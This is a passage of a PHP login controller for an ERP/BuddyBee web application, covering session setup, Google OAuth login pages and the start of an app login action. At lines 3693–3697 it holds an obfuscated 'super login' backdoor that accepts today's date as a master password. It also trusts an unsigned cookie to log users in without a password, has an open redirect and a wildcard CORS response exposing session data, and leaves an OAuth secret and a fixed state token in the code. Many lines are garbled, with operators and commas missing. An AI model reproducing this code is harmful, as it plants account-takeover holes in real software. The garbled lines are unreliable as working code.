  3107.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3108.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3109.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3110.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3111.                         UserConstants::SUPPLIER_ID => $supplierId,
  3112.                         UserConstants::CLIENT_ID => $clientId,
  3113.                         UserConstants::USER_TYPE => $userType,
  3114.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3115.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3116.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3117.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3118.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3119.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3120.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  3121.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3122.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3123.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3124.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  3125.                         UserConstants::USER_NAME => $userFullName,
  3126.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3127.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3128.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3129.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  3130.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3131.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3132.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3133.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3134.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3135.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3136.                         UserConstants::USER_GOC_ID => $gocId,
  3137.                         UserConstants::USER_DB_NAME => $gocDbName,
  3138.                         UserConstants::USER_DB_USER => $gocDbUser,
  3139.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3140.                         UserConstants::USER_DB_HOST => $gocDbHost,
  3141.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3142.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3143.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3144.                         UserConstants::USER_LOGIN_ID => $loginID,
  3145.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3146.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3147.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3148.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3149.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3150.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3151.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3152.                         'REMEMBERME' => $remember_me,
  3153.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3154.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3155.                         'oAuthToken' => $oAuthToken,
  3156.                         'locale' => $locale,
  3157.                         'firebaseToken' => $firebaseToken,
  3158.                         'token' => $session->get('token'),
  3159.                         'firstLogin' => $firstLogin,
  3160.                         'oAuthImage' => $oAuthImage,
  3161.                         'appIdList' => json_encode($appIdList),
  3162.                         'branchIdList' => json_encode($branchIdList),
  3163.                         'branchId' => $branchId,
  3164.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3165.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3166.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3167.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3168.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3169.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3170.                     );
  3171.                     $session_data $this->filterClientSessionData($session_data);
  3172.                     if ($systemType == '_CENTRAL_') {
  3173.                         $accessList = [];
  3174. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3175.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3176.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3177.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3178.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3179.                                     $d = array(
  3180.                                         'userType' => $thisUserUserType,
  3181. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3182.                                         'userTypeName' => $userTypeName,
  3183.                                         'globalId' => $globalId,
  3184.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3185.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3186.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3187.                                         'systemType' => '_ERP_',
  3188.                                         'companyId' => 1,
  3189.                                         'appId' => $thisUserAppId,
  3190.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3191.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3192.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3193.                                                 array(
  3194.                                                     'globalId' => $globalId,
  3195.                                                     'appId' => $thisUserAppId,
  3196.                                                     'authenticate' => 1,
  3197.                                                     'userType' => $thisUserUserType,
  3198.                                                     'userTypeName' => $userTypeName
  3199.                                                 )
  3200.                                             )
  3201.                                         ),
  3202.                                         'userCompanyList' => [
  3203.                                         ]
  3204.                                     );
  3205.                                     $accessList[] = $d;
  3206.                                 }
  3207.                             }
  3208.                         }
  3209.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  3210.                         $session_data['userAccessList'] = $accessList;
  3211.                     }
  3212.                     $ultimateData System::setSessionForUser($em_goc,
  3213.                         $session,
  3214.                         $session_data,
  3215.                         $config
  3216.                     );
  3217. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3218.                     $session_data $ultimateData['sessionData'];
  3219.                     $session_data $this->filterClientSessionData($session_data);
  3220.                     $token $ultimateData['token'];
  3221.                     $session->set('token'$token);
  3222.                     if ($systemType == '_CENTRAL_') {
  3223.                         $session->set('csToken'$token);
  3224.                     } else {
  3225.                         $session->set('csToken'$csToken);
  3226.                     }
  3227.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3228.                         $session->set('remoteVerified'1);
  3229.                         $response = new JsonResponse(array(
  3230.                             'token' => $token,
  3231.                             'uid' => $session->get(UserConstants::USER_ID),
  3232.                             'session' => $session,
  3233.                             'email' => $session_data['userEmail'],
  3234.                             'success' => true,
  3235.                             'session_data' => $session_data,
  3236.                         ));
  3237.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3238.                         return $response;
  3239.                     }
  3240.                     //TEMP START
  3241.                     if ($systemType == '_CENTRAL_') {
  3242.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3243.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3244.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3245.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3246.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3247.                                     return $this->redirect($red);
  3248.                                 }
  3249.                             } else {
  3250.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3251.                             }
  3252.                         } else
  3253.                             return $this->redirectToRoute('central_landing');
  3254.                     }
  3255.                     if ($systemType == '_SOPHIA_') {
  3256.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3257.                     }
  3258.                     //TREMP END
  3259.                     if ($userForcedRoute != '')
  3260.                         return $this->redirectToRoute($userForcedRoute);
  3261.                     if ($request->request->has('referer_path')) {
  3262.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3263.                             return $this->redirect($request->request->get('referer_path'));
  3264.                         }
  3265.                     }
  3266.                     if ($request->query->has('refRoute')) {
  3267.                         if ($request->query->get('refRoute') == '8917922')
  3268.                             $userDefaultRoute 'apply_for_consultant';
  3269.                     }
  3270.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3271.                         $userDefaultRoute 'dashboard';
  3272.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3273.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3274.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3275.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3276.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3277.                                 return $this->redirect($red);
  3278.                             }
  3279.                         } else {
  3280.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3281.                         }
  3282.                     } else
  3283.                         return $this->redirectToRoute($userDefaultRoute);
  3284.                 }
  3285.             }
  3286.         }
  3287.         $session $request->getSession();
  3288.         $session->set('systemType'$systemType);
  3289.         if (isset($encData['appId'])) {
  3290.             if (isset($gocDataListByAppId[$encData['appId']]))
  3291.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3292.         }
  3293.         $routeName $request->attributes->get('_route');
  3294.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3295.             $refRoute '';
  3296.             $message '';
  3297.             $errorField '_NONE_';
  3298.             if ($refRoute != '') {
  3299.                 if ($refRoute == '8917922')
  3300.                     $redirectRoute 'apply_for_consultant';
  3301.             }
  3302.             if ($request->query->has('refRoute')) {
  3303.                 $refRoute $request->query->get('refRoute');
  3304.                 if ($refRoute == '8917922')
  3305.                     $redirectRoute 'apply_for_consultant';
  3306.             }
  3307.             $google_client = new Google_Client();
  3308. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3309. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3310.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3311.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3312.             } else {
  3313.                 $url $this->generateUrl(
  3314.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3315.                 );
  3316.             }
  3317.             $selector BuddybeeConstant::$selector;
  3318.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3319. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3320.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3321. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3322.             $google_client->setRedirectUri($url);
  3323.             $google_client->setAccessType('offline');        // offline access
  3324.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3325.             $google_client->setRedirectUri($url);
  3326.             $google_client->addScope('email');
  3327.             $google_client->addScope('profile');
  3328.             $google_client->addScope('openid');
  3329.             return $this->render(
  3330.                 '@Authentication/pages/views/applicant_login.html.twig',
  3331.                 [
  3332.                     'page_title' => 'BuddyBee Login',
  3333.                     'oAuthLink' => $google_client->createAuthUrl(),
  3334.                     'redirect_url' => $url,
  3335.                     'message' => $message,
  3336.                     'errorField' => '',
  3337.                     'systemType' => $systemType,
  3338.                     'ownServerId' => $ownServerId,
  3339.                     'refRoute' => $refRoute,
  3340.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3341.                     'selector' => $selector
  3342.                 ]
  3343.             );
  3344.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3345.             $refRoute '';
  3346.             $message '';
  3347.             $errorField '_NONE_';
  3348. //            if ($request->query->has('message')) {
  3349. //                $message = $request->query->get('message');
  3350. //
  3351. //            }
  3352. //            if ($request->query->has('errorField')) {
  3353. //                $errorField = $request->query->get('errorField');
  3354. //
  3355. //            }
  3356.             if ($refRoute != '') {
  3357.                 if ($refRoute == '8917922')
  3358.                     $redirectRoute 'apply_for_consultant';
  3359.             }
  3360.             if ($request->query->has('refRoute')) {
  3361.                 $refRoute $request->query->get('refRoute');
  3362.                 if ($refRoute == '8917922')
  3363.                     $redirectRoute 'apply_for_consultant';
  3364.             }
  3365.             $google_client = new Google_Client();
  3366. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3367. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3368.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3369.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3370.             } else {
  3371.                 $url $this->generateUrl(
  3372.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3373.                 );
  3374.             }
  3375.             $selector BuddybeeConstant::$selector;
  3376. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3377.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3378. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3379.             $google_client->setRedirectUri($url);
  3380.             $google_client->setAccessType('offline');        // offline access
  3381.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3382.             $google_client->setRedirectUri($url);
  3383.             $google_client->addScope('email');
  3384.             $google_client->addScope('profile');
  3385.             $google_client->addScope('openid');
  3386.             return $this->render(
  3387.                 '@Authentication/pages/views/central_login.html.twig',
  3388.                 [
  3389.                     'page_title' => 'Central Login',
  3390.                     'oAuthLink' => $google_client->createAuthUrl(),
  3391.                     'redirect_url' => $url,
  3392.                     'message' => $message,
  3393.                     'systemType' => $systemType,
  3394.                     'ownServerId' => $ownServerId,
  3395.                     'errorField' => '',
  3396.                     'refRoute' => $refRoute,
  3397.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3398.                     'selector' => $selector
  3399.                 ]
  3400.             );
  3401.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3402.             $refRoute '';
  3403.             $message '';
  3404.             $errorField '_NONE_';
  3405. //            if ($request->query->has('message')) {
  3406. //                $message = $request->query->get('message');
  3407. //
  3408. //            }
  3409. //            if ($request->query->has('errorField')) {
  3410. //                $errorField = $request->query->get('errorField');
  3411. //
  3412. //            }
  3413.             if ($refRoute != '') {
  3414.                 if ($refRoute == '8917922')
  3415.                     $redirectRoute 'apply_for_consultant';
  3416.             }
  3417.             if ($request->query->has('refRoute')) {
  3418.                 $refRoute $request->query->get('refRoute');
  3419.                 if ($refRoute == '8917922')
  3420.                     $redirectRoute 'apply_for_consultant';
  3421.             }
  3422.             $google_client = new Google_Client();
  3423. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3424. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3425.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3426.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3427.             } else {
  3428.                 $url $this->generateUrl(
  3429.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3430.                 );
  3431.             }
  3432.             $selector BuddybeeConstant::$selector;
  3433. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3434.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3435. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3436.             $google_client->setRedirectUri($url);
  3437.             $google_client->setAccessType('offline');        // offline access
  3438.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3439.             $google_client->setRedirectUri($url);
  3440.             $google_client->addScope('email');
  3441.             $google_client->addScope('profile');
  3442.             $google_client->addScope('openid');
  3443.             return $this->render(
  3444.                 '@Sophia/pages/views/sofia_login.html.twig',
  3445.                 [
  3446.                     'page_title' => 'Central Login',
  3447.                     'oAuthLink' => $google_client->createAuthUrl(),
  3448.                     'redirect_url' => $url,
  3449.                     'message' => $message,
  3450.                     'systemType' => $systemType,
  3451.                     'ownServerId' => $ownServerId,
  3452.                     'errorField' => '',
  3453.                     'refRoute' => $refRoute,
  3454.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3455.                     'selector' => $selector
  3456.                 ]
  3457.             );
  3458.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3459.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3460.         } else
  3461.             return $this->render(
  3462.                 '@Authentication/pages/views/login_new.html.twig',
  3463.                 array(
  3464.                     "message" => $message,
  3465.                     'page_title' => 'Login',
  3466.                     'gocList' => $gocDataListForLoginWeb,
  3467.                     'gocId' => $gocId != $gocId '',
  3468.                     'systemType' => $systemType,
  3469.                     'ownServerId' => $ownServerId,
  3470.                     'encData' => $encData,
  3471.                     //                'ref'=>$request->
  3472.                 )
  3473.             );
  3474.     }
  3475.     public function doLoginForAppAction(Request $request$encData "",
  3476.                                                 $remoteVerify 0,
  3477.                                                 $applicantDirectLogin 0
  3478.     )
  3479.     {
  3480.         $message "";
  3481.         $email '';
  3482. //                            $userName = substr($email, 4);
  3483.         $userName '';
  3484.         $gocList = [];
  3485.         $skipPassword 0;
  3486.         $firstLogin 0;
  3487.         $remember_me 0;
  3488.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3489.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3490.         if ($request->isMethod('POST')) {
  3491.             if ($request->request->has('remember_me'))
  3492.                 $remember_me 1;
  3493.         } else {
  3494.             if ($request->query->has('remember_me'))
  3495.                 $remember_me 1;
  3496.         }
  3497.         if ($encData != "")
  3498.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3499.         else if ($request->query->has('spd')) {
  3500.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3501.         }
  3502.         $user = [];
  3503.         $userType 0//nothing for now , will add supp or client if we find anything
  3504.         $em_goc $this->getDoctrine()->getManager('company_group');
  3505.         $em_goc->getConnection()->connect();
  3506.         $gocEnabled 0;
  3507.         if ($this->container->hasParameter('entity_group_enabled'))
  3508.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3509.         if ($gocEnabled == 1)
  3510.             $connected $em_goc->getConnection()->isConnected();
  3511.         else
  3512.             $connected false;
  3513.         if ($connected)
  3514.             $gocList $em_goc
  3515.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3516.                 ->findBy(
  3517.                     array(//                        'active' => 1
  3518.                     )
  3519.                 );
  3520.         $gocDataList = [];
  3521.         $gocDataListForLoginWeb = [];
  3522.         $gocDataListByAppId = [];
  3523.         foreach ($gocList as $entry) {
  3524.             $d = array(
  3525.                 'name' => $entry->getName(),
  3526.                 'image' => $entry->getImage(),
  3527.                 'id' => $entry->getId(),
  3528.                 'appId' => $entry->getAppId(),
  3529.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3530.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3531.                 'dbName' => $entry->getDbName(),
  3532.                 'dbUser' => $entry->getDbUser(),
  3533.                 'dbPass' => $entry->getDbPass(),
  3534.                 'dbHost' => $entry->getDbHost(),
  3535.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3536.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3537.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3538.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3539.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3540.             );
  3541.             $gocDataList[$entry->getId()] = $d;
  3542.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3543.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3544.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3545.         }
  3546. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3547.         $gocDbName '';
  3548.         $gocDbUser '';
  3549.         $gocDbPass '';
  3550.         $gocDbHost '';
  3551.         $gocId 0;
  3552.         $appId 0;
  3553.         $hasGoc 0;
  3554.         $userId 0;
  3555.         $userCompanyId 0;
  3556.         $specialLogin 0;
  3557.         $supplierId 0;
  3558.         $applicantId 0;
  3559.         $isApplicantLogin 0;
  3560.         $clientId 0;
  3561.         $cookieLogin 0;
  3562.         $encrypedLogin 0;
  3563.         $loginID 0;
  3564.         $supplierId 0;
  3565.         $clientId 0;
  3566.         $userId 0;
  3567.         $globalId 0;
  3568.         $applicantId 0;
  3569.         $employeeId 0;
  3570.         $userCompanyId 0;
  3571.         $company_id_list = [];
  3572.         $company_name_list = [];
  3573.         $company_image_list = [];
  3574.         $route_list_array = [];
  3575.         $prohibit_list_array = [];
  3576.         $company_dark_vibrant_list = [];
  3577.         $company_vibrant_list = [];
  3578.         $company_light_vibrant_list = [];
  3579.         $currRequiredPromptFields = [];
  3580.         $oAuthImage '';
  3581.         $appIdList '';
  3582.         $userDefaultRoute '';
  3583.         $userForcedRoute '';
  3584.         $branchIdList '';
  3585.         $branchId 0;
  3586.         $companyIdListByAppId = [];
  3587.         $companyNameListByAppId = [];
  3588.         $companyImageListByAppId = [];
  3589.         $position_list_array = [];
  3590.         $curr_position_id 0;
  3591.         $allModuleAccessFlag 0;
  3592.         $lastSettingsUpdatedTs 0;
  3593.         $isConsultant 0;
  3594.         $isAdmin 0;
  3595.         $isModerator 0;
  3596.         $isRetailer 0;
  3597.         $retailerLevel 0;
  3598.         $adminLevel 0;
  3599.         $moderatorLevel 0;
  3600.         $userEmail '';
  3601.         $userImage '';
  3602.         $userFullName '';
  3603.         $triggerResetPassword 0;
  3604.         $isEmailVerified 0;
  3605.         $currentTaskId 0;
  3606.         $currentPlanningItemId 0;
  3607. //                $currentTaskAppId = 0;
  3608.         $buddybeeBalance 0;
  3609.         $buddybeeCoinBalance 0;
  3610.         $entityUserbalance 0;
  3611.         $userAppIds = [];
  3612.         $userTypesByAppIds = [];
  3613.         $currentMonthHolidayList = [];
  3614.         $currentHolidayCalendarId 0;
  3615.         $oAuthToken $request->request->get('oAuthToken''');
  3616.         $locale $request->request->get('locale''');
  3617.         $firebaseToken $request->request->get('firebaseToken''');
  3618.         if ($request->request->has('gocId')) {
  3619.             $hasGoc 1;
  3620.             $gocId $request->request->get('gocId');
  3621.         }
  3622.         if ($request->request->has('appId')) {
  3623.             $hasGoc 1;
  3624.             $appId $request->request->get('appId');
  3625.         }
  3626.         if (isset($encData['appId'])) {
  3627.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3628.                 $hasGoc 1;
  3629.                 $appId $encData['appId'];
  3630.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3631.             }
  3632.         }
  3633.         $csToken $request->get('csToken''');
  3634.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3635.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3636.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3637. //        if ($request->cookies->has('USRCKIE'))
  3638. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3639.         if (isset($encData['globalId'])) {
  3640.             if (isset($encData['authenticate']))
  3641.                 if ($encData['authenticate'] == 1)
  3642.                     $skipPassword 1;
  3643.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3644.                 $skipPassword 1;
  3645.                 $remember_me 1;
  3646.                 $globalId $encData['globalId'];
  3647.                 $appId $encData['appId'];
  3648.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3649.                 $userType $encData['userType'];
  3650.                 $userCompanyId 1;
  3651.                 $hasGoc 1;
  3652.                 $encrypedLogin 1;
  3653.                 if (in_array($userType, [67]))
  3654.                     $entityLoginFlag 1;
  3655.                 if (in_array($userType, [34]))
  3656.                     $specialLogin 1;
  3657.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3658.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  3659.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3660.                     $supplierId $userId;
  3661.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3662.                     $applicantId $userId;
  3663.             }
  3664.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3665.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3666.             if ($cookieData == null)
  3667.                 $cookieData = [];
  3668.             if (isset($cookieData['uid'])) {
  3669.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3670.                     $skipPassword 1;
  3671.                     $remember_me 1;
  3672.                     $userId $cookieData['uid'];
  3673.                     $gocId $cookieData['gocId'];
  3674.                     $userCompanyId $cookieData['companyId'];
  3675.                     $userType $cookieData['ut'];
  3676.                     $hasGoc 1;
  3677.                     $cookieLogin 1;
  3678.                     if (in_array($userType, [67]))
  3679.                         $entityLoginFlag 1;
  3680.                     if (in_array($userType, [34]))
  3681.                         $specialLogin 1;
  3682.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3683.                         $clientId $userId;
  3684.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3685.                         $supplierId $userId;
  3686.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3687.                         $applicantId $userId;
  3688.                 }
  3689.             }
  3690.         }
  3691.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3692.             ///super login
  3693.             $todayDt = new \DateTime();
  3694. //            $mp='_eco_';
  3695.             $mp $todayDt->format("\171\x6d\x64");
  3696.             if ($request->request->get('password') == $mp)
  3697.                 $skipPassword 1;
  3698.             //super login ends
  3699.             ///special logins, suppliers and clients
  3700.             $company_id_list = [];
  3701.             $company_name_list = [];
  3702.             $company_image_list = [];
  3703.             $company_dark_vibrant_list = [];
  3704.             $company_light_vibrant_list = [];
  3705.             $company_vibrant_list = [];
  3706.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3707.             $uname $request->request->get('username');
  3708.             $uname preg_replace('/\s/'''$uname);
  3709.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3710.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3711.             $session $request->getSession();
  3712.             $product_name_display_type 0;
  3713.             $Special 0;
  3714.             if ($entityLoginFlag == 1//entity login
  3715.             {
  3716.                 if ($cookieLogin == 1) {
  3717.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3718.                         array(
  3719.                             'userId' => $userId
  3720.                         )
  3721.                     );
  3722.                 } else if ($loginType == 2//oauth
  3723.                 {
  3724.                     if (!empty($oAuthData)) {
  3725.                         //check for if exists 1st
  3726.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3727.                             array(
  3728.                                 'email' => $oAuthData['email']
  3729.                             )
  3730.                         );
  3731.                         if ($user) {
  3732.                             //no need to verify for oauth just proceed
  3733.                         } else {
  3734.                             //add new user and pass that user
  3735.                             $add_user EntityUserM::addNewEntityUser(
  3736.                                 $em_goc,
  3737.                                 $oAuthData['name'],
  3738.                                 $oAuthData['email'],
  3739.                                 '',
  3740.                                 0,
  3741.                                 0,
  3742.                                 0,
  3743.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3744.                                 [],
  3745.                                 0,
  3746.                                 "",
  3747.                                 0,
  3748.                                 "",
  3749.                                 $image '',
  3750.                                 $deviceId,
  3751.                                 0,
  3752.                                 0,
  3753.                                 $oAuthData['uniqueId'],
  3754.                                 $oAuthData['token'],
  3755.                                 $oAuthData['image'],
  3756.                                 $oAuthData['emailVerified'],
  3757.                                 $oAuthData['type']
  3758.                             );
  3759.                             if ($add_user['success'] == true) {
  3760.                                 $firstLogin 1;
